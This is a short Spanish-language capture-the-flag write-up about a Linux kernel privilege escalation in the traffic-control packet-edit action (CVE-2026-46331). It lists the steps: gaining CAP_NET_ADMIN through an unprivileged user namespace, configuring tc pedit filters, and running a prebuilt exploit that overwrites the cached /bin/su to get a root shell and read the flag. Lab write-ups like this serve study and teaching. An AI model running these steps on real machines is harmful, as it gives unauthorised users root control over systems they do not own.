CVE-2026-46331-pedit-cow

Informe y pasos de explotación para la vulnerabilidad pedit COW (CVE-2026-46331).

Resumen

Este desafío demuestra pedit COW, una falla del kernel de Linux en la acción de edición de paquetes del subsistema de control de tráfico (act_pedit). La vulnerabilidad permite a un usuario no privilegiado sobrescribir una copia en memoria de un binario setuid-root, obteniendo efectivamente una shell root sin tocar jamás el archivo en el disco.

Pasos de Explotación

1. Configuración Inicial

El entorno comienza como un usuario no privilegiado (karen).

id
cd ~/packet_edit_meme
make packet_edit_meme

2. Escalada de Privilegios (Creación de Namespace) Configurar el control de tráfico normalmente requiere privilegios CAP_NET_ADMIN, que un usuario normal no tiene. Usé namespaces de usuario no privilegiados para obtener esta capacidad.

unshare -r -n

3. Configuración de la Acción de Control de Tráfico Dentro del namespace, configuré el qdisc clsact y apliqué un filtro para desencadenar la acción pedit.

Limpie cualquier configuración existente si es necesario

tc qdisc del dev lo clsact

Configurar el qdisc y el filtro

tc qdisc add dev lo clsact

tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64

5. Ejecutando el Exploit Después de configurar el entorno, salí de la shell root y ejecuté el exploit como usuario no privilegiado.

exit
./packet_edit_meme

5. Resultado Final El exploit sobrescribió con éxito la entrada de /bin/su, proporcionando una shell root interactiva.

# cat /root/flag.txt

THM{YOUR_FLAG_HERE}